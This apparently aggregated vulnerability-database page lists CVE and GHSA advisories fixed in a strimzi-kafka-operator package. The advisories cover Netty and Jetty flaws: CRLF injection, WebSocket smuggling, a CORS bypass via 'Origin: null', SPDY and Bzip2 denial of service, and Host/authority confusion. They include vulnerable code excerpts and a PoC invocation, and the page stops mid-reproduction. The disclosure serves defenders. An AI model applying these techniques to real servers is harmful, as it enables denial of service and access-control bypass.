Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-08-13 12:10
Modified
2026-08-14 05:57
Summary
Security fixes in strimzi-kafka-operator 1.1.0-r2
Details
Package strimzi-kafka-operator version 1.1.0-r2 fixes 25 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "strimzi-kafka-operator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.1.0-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package strimzi-kafka-operator version 1.1.0-r2 fixes 25 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898...",
"id": "CLEANSTART-2026-VJ08145",
"modified": "2026-08-14T05:57:48Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strimzi/strimzi-kafka-operator"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in strimzi-kafka-operator 1.1.0-r2",
"upstream": [
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"CVE-2026-56816",
"CVE-2026-59901",
"CVE-2026-59900",
"CVE-2026-10051",
"CVE-2026-6790",
"ghsa-mvh2-crg5-v77c",
"ghsa-6jqx-86gh-f27w",
"ghsa-jppx-w49h-x2qq",
"ghsa-6cqp-g7gg-8hr5",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-hpcc-26xq-25fv",
"ghsa-558v-64gr-wgg4",
"ghsa-c69g-56f8-xwqj",
"ghsa-f4v5-65jj-pcr2",
"ghsa-7p3p-8qv8-m2vh",
"ghsa-r7wm-3cxj-wff9"
]
}
CVE-2026-59921 (GCVE-0-2026-59921)
Vulnerability from cvelistv5 – Published: 2026-07-28 22:28 – Updated: 2026-07-29 17:32
VLAI
EPSS
VEX
Title
Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
Summary
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Severity
5.7 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-29 12:49 UTC
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-59921",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-29T12:49:35.429260Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T12:50:40.039Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Final, \u003c 4.2.16.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.136.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations\u0027 setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-29T17:32:31.931Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
}
],
"source": {
"advisory": "GHSA-gcjf-9mgh-3p7g",
"discovery": "UNKNOWN"
},
"title": "Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-59921",
"datePublished": "2026-07-28T22:28:51.267Z",
"dateReserved": "2026-07-07T18:20:06.125Z",
"dateUpdated": "2026-07-29T17:32:31.931Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-6790 (GCVE-0-2026-6790)
Vulnerability from cvelistv5 – Published: 2026-07-14 08:51 – Updated: 2026-07-14 12:20
VLAI
EPSS
VEX
Summary
In Eclipse Jetty, for HTTP/1, HTTP/2 and HTTP/3 requests, there is no strict check that the request authority (host and port) matches what provided in the Host header (if present).
This was not enforced in earlier HTTP RFC (for example, in RFC 2616), but it is in the latest RFC (9110 and 9112).
This mismatch can cause a number of problems that may be classified as vulnerabilities such as:
*
URI constructions (for example, for redirects -- this is typical for login pages)
*
Virtual host selection
*
Reverse proxying
*
Misleading logs
*
Etc.
Given that the latest RFCs require that request authority and Host header must match, Jetty should enforce this invariant.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-14 12:18 UTC
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Eclipse Foundation | Eclipse Jetty |
Affected:
9.4.0 , ≤ 9.4.60
(semver)
Affected: 10.0.0 , ≤ 10.0.28 (semver) Affected: 11.0.0 , ≤ 11.0.28 (semver) Affected: 12.0.0 , ≤ 12.0.34 (semver) Affected: 12.1.0 , ≤ 12.1.8 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-6790",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-14T12:18:58.528202Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-14T12:20:35.130Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Eclipse Jetty",
"repo": "https://github.com/jetty/jetty.project",
"vendor": "Eclipse Foundation",
"versions": [
{
"lessThanOrEqual": "9.4.60",
"status": "affected",
"version": "9.4.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "10.0.28",
"status": "affected",
"version": "10.0.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "11.0.28",
"status": "affected",
"version": "11.0.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "12.0.34",
"status": "affected",
"version": "12.0.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "12.1.8",
"status": "affected",
"version": "12.1.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eIn Eclipse Jetty, for HTTP/1, HTTP/2 and HTTP/3 requests, there is no strict check that the request authority (host and port) matches what provided in the \u003ccode\u003eHost\u003c/code\u003e header (if present).\u003c/p\u003e\n\u003cp\u003eThis was not enforced in earlier HTTP RFC (for example, in RFC 2616), but it is in the latest RFC (9110 and 9112).\u003c/p\u003e\n\u003cp\u003eThis mismatch can cause a number of problems that may be classified as vulnerabilities such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n \n URI constructions (for example, for redirects -- this is typical for login pages)\u003c/li\u003e\n\u003cli\u003e\n \n Virtual host selection\u003c/li\u003e\n\u003cli\u003e\n \n Reverse proxying\u003c/li\u003e\n\u003cli\u003e\n \n Misleading logs\u003c/li\u003e\n\u003cli\u003e\n \n Etc.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGiven that the latest RFCs require that request authority and \u003ccode\u003eHost\u003c/code\u003e header must match, Jetty should enforce this invariant.\u003c/p\u003e"
}
],
"value": "In Eclipse Jetty, for HTTP/1, HTTP/2 and HTTP/3 requests, there is no strict check that the request authority (host and port) matches what provided in the Host header (if present).\n\n\n\n\nThis was not enforced in earlier HTTP RFC (for example, in RFC 2616), but it is in the latest RFC (9110 and 9112).\n\n\n\n\nThis mismatch can cause a number of problems that may be classified as vulnerabilities such as:\n\n\n\n * \n \n URI constructions (for example, for redirects -- this is typical for login pages)\n\n * \n \n Virtual host selection\n\n * \n \n Reverse proxying\n\n * \n \n Misleading logs\n\n * \n \n Etc.\n\n\n\n\n\n\nGiven that the latest RFCs require that request authority and Host header must match, Jetty should enforce this invariant."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-14T08:51:30.527Z",
"orgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"shortName": "eclipse"
},
"references": [
{
"url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/99"
}
],
"x_generator": {
"engine": "Vulnogram 1.0.2"
}
}
},
"cveMetadata": {
"assignerOrgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"assignerShortName": "eclipse",
"cveId": "CVE-2026-6790",
"datePublished": "2026-07-14T08:51:30.527Z",
"dateReserved": "2026-04-21T13:47:52.520Z",
"dateUpdated": "2026-07-14T12:20:35.130Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-4MP9-239F-G9HG
Vulnerability from github – Published: 2026-07-22 21:48 – Updated: 2026-07-22 21:48
VLAI
Summary
Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation
Details
Summary
An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending Sec-WebSocket-Version: 7 and omitting Connection: Upgrade / Upgrade: websocket headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59898"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:48:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nAn attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.",
"id": "GHSA-4mp9-239f-g9hg",
"modified": "2026-07-22T21:48:59Z",
"published": "2026-07-22T21:48:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation"
}
GHSA-558V-64GR-WGG4
Vulnerability from github – Published: 2026-07-22 21:50 – Updated: 2026-07-22 21:50
VLAI
Summary
Netty: [Bzip2Decoder] Infinite Loop in RLE State Machine Leads to Event-Loop Thread Hang
Details
The Bzip2Decoder handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [Bzip2BlockDecompressor.read()]
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59901"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:50:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "The `Bzip2Decoder` handler in Netty\u0027s compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`]",
"id": "GHSA-558v-64gr-wgg4",
"modified": "2026-07-22T21:50:47Z",
"published": "2026-07-22T21:50:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: [Bzip2Decoder] Infinite Loop in RLE State Machine Leads to Event-Loop Thread Hang"
}
GHSA-6CQP-G7GG-8HR5
Vulnerability from github – Published: 2026-07-22 21:42 – Updated: 2026-07-22 21:42
VLAI
Summary
Netty: Security Control Bypass via CORS Short-Circuit Failure
Details
Summary
Netty's CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls.
Details
In io.netty.handler.codec.http.cors.CorsHandler#channelRead, the short-circuit logic relies on the configuration returned by getForOrigin(origin) to determine if an origin is authorized. If getForOrigin returns a configuration object, the short-circuit check (!(origin == null || config != null)) is bypassed, and the request proceeds to the backend.
The vulnerability is located in the getForOrigin method:
if (corsConfig.isNullOriginAllowed() || NULL_ORIGIN.equals(requestOrigin)) {
return corsConfig;
}
If an attacker sends Origin: null, NULL_ORIGIN.equals(requestOrigin) evaluates to true. The method returns the configuration object regardless of whether isNullOriginAllowed() was configured by the developer. The short-circuit is bypassed.
Impact
Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56746"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:42:17Z",
"nvd_published_at": "2026-07-21T22:17:14Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty\u0027s CorsHandler provides a `shortCircuit()` configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an `Origin: null` header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls.\n\n### Details\nIn `io.netty.handler.codec.http.cors.CorsHandler#channelRead`, the short-circuit logic relies on the configuration returned by `getForOrigin(origin)` to determine if an origin is authorized. If `getForOrigin` returns a configuration object, the short-circuit check `(!(origin == null || config != null))` is bypassed, and the request proceeds to the backend.\n\nThe vulnerability is located in the `getForOrigin` method:\n\n```java\n if (corsConfig.isNullOriginAllowed() || NULL_ORIGIN.equals(requestOrigin)) {\n return corsConfig;\n }\n```\n\nIf an attacker sends `Origin: null`, `NULL_ORIGIN.equals(requestOrigin)` evaluates to true. The method returns the configuration object regardless of whether `isNullOriginAllowed()` was configured by the developer. The short-circuit is bypassed.\n\n### Impact\nApplications relying on CorsHandler\u0027s short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer\u0027s intended access controls, allowing unauthorized requests to be processed.",
"id": "GHSA-6cqp-g7gg-8hr5",
"modified": "2026-07-22T21:42:17Z",
"published": "2026-07-22T21:42:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56746"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Security Control Bypass via CORS Short-Circuit Failure"
}
GHSA-6JQX-86GH-F27W
Vulnerability from github – Published: 2026-07-22 21:07 – Updated: 2026-07-22 21:07
VLAI
Summary
Netty SPDY SETTINGS frame count materializes unbounded settings map
Details
Summary
Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in DefaultSpdySettingsFrame without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.
Details
Inbound SPDY bytes enter SpdyFrameCodec.decode() and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only length >= 4. For SETTINGS payloads, it reads the peer-controlled numSettings field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into spdySettingsFrame.setValue(). The sink is DefaultSpdySettingsFrame: it backs settings with a TreeMap, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new Setting for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.
PoC
run with
bash ./poc/run.sh
expected output:
NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144
The NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The wire_bytes=2097164, first_value=1, and last_value=262144 fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.
Impact
remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing SpdyFrameCodec can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of 4 + numSettings * 8, and IDs within the accepted 24-bit range; the verified PoC uses numSettings=262144 and wire_bytes=2097164. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed DefaultSpdySettingsFrame, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.135.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0.Final"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55831"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:07:36Z",
"nvd_published_at": "2026-07-21T00:17:35Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame` without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.\n\n### Details\nInbound SPDY bytes enter `SpdyFrameCodec.decode()` and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only `length \u003e= 4`. For SETTINGS payloads, it reads the peer-controlled `numSettings` field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into `spdySettingsFrame.setValue()`. The sink is `DefaultSpdySettingsFrame`: it backs settings with a `TreeMap`, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new `Setting` for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.\n\n### PoC\n[poc.zip](https://github.com/user-attachments/files/28445737/poc.zip)\n\nrun with\n```bash\nbash ./poc/run.sh\n```\n\nexpected output:\n```text\nNETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144\n```\n\nThe `NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED` line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The `wire_bytes=2097164`, `first_value=1`, and `last_value=262144` fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.\n\n### Impact\n remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing `SpdyFrameCodec` can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of `4 + numSettings * 8`, and IDs within the accepted 24-bit range; the verified PoC uses `numSettings=262144` and `wire_bytes=2097164`. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed `DefaultSpdySettingsFrame`, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.",
"id": "GHSA-6jqx-86gh-f27w",
"modified": "2026-07-22T21:07:36Z",
"published": "2026-07-22T21:07:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55831"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty SPDY SETTINGS frame count materializes unbounded settings map"
}
GHSA-7P3P-8QV8-M2VH
Vulnerability from github – Published: 2026-07-22 22:56 – Updated: 2026-07-22 22:56
VLAI
Summary
Eclipse Jetty: HTTP Authority/Host mismatch
Details
Summary
Jetty currently accepts HTTP/2 and HTTP/3 requests where the regular Host header and the pseudo-header :authority do not match. As a result, the same request can carry two different host identities through Jetty:
- logic based on
HttpURI/Request.getServerName(request)uses:authority - logic based on raw request headers continues to use
Host
This creates a host/authority confusion condition that can break security assumptions in higher layers.
Jetty already performs an explicit authority/Host consistency check on the HTTP/1.1 path, but equivalent validation is missing on the HTTP/2 and HTTP/3 paths.
Security Impact
This issue is not inherently remote code execution, but it can become security-relevant in deployments that rely on the request host for security-sensitive decisions, including:
- host-based access control
- virtual host isolation
- multi-tenant routing by hostname
- login/logout/callback URL construction
- reverse proxy and forwarded-header trust chains
- auditing, cache keys, and absolute URL generation
Potential consequences include:
- bypass of host-based ACLs
- virtual host or tenant isolation failures
- incorrect or attacker-influenced redirect/callback targets
- inconsistent proxy/downstream interpretation of the original target host
- misleading logs and audit records
Technical Root Cause
-
On the HTTP/2 and HTTP/3 metadata builder paths:
-
:authorityis parsed separately into authority/URI state Hostis preserved as a normal request header-
the two values are not compared for consistency
-
On the HTTP/2 and HTTP/3 server entry paths:
-
Jetty calls
ComplianceUtils.verify(httpCompliance, requestMetaData, listener) -
this verification does not enforce
MISMATCHED_AUTHORITY -
On the HTTP/1.1 path:
-
Jetty explicitly checks whether authority and
Hostmatch - mismatches are rejected by default
Relevant Code Locations
HTTP/2 metadata builder:
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java
HTTP/3 metadata builder:
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/metadata/MetaDataBuilder.java
HTTP/2 server entry:
jetty-core/jetty-http2/jetty-http2-server/src/main/java/org/eclipse/jetty/http2/server/internal/HttpStreamOverHTTP2.java
HTTP/3 server entry:
jetty-core/jetty-http3/jetty-http3-server/src/main/java/org/eclipse/jetty/http3/server/internal/HttpStreamOverHTTP3.java
Shared HTTP compliance verification:
jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/ComplianceUtils.java
HTTP/1.1 authority/Host consistency check:
jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/internal/HttpConnection.java
Defined but not enforced on H2/H3:
jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/HttpCompliance.java- violation: MISMATCHED_AUTHORITY
Reproduction
I reproduced this on local Jetty 12.1.9-SNAPSHOT source.
Minimal reproduction steps:
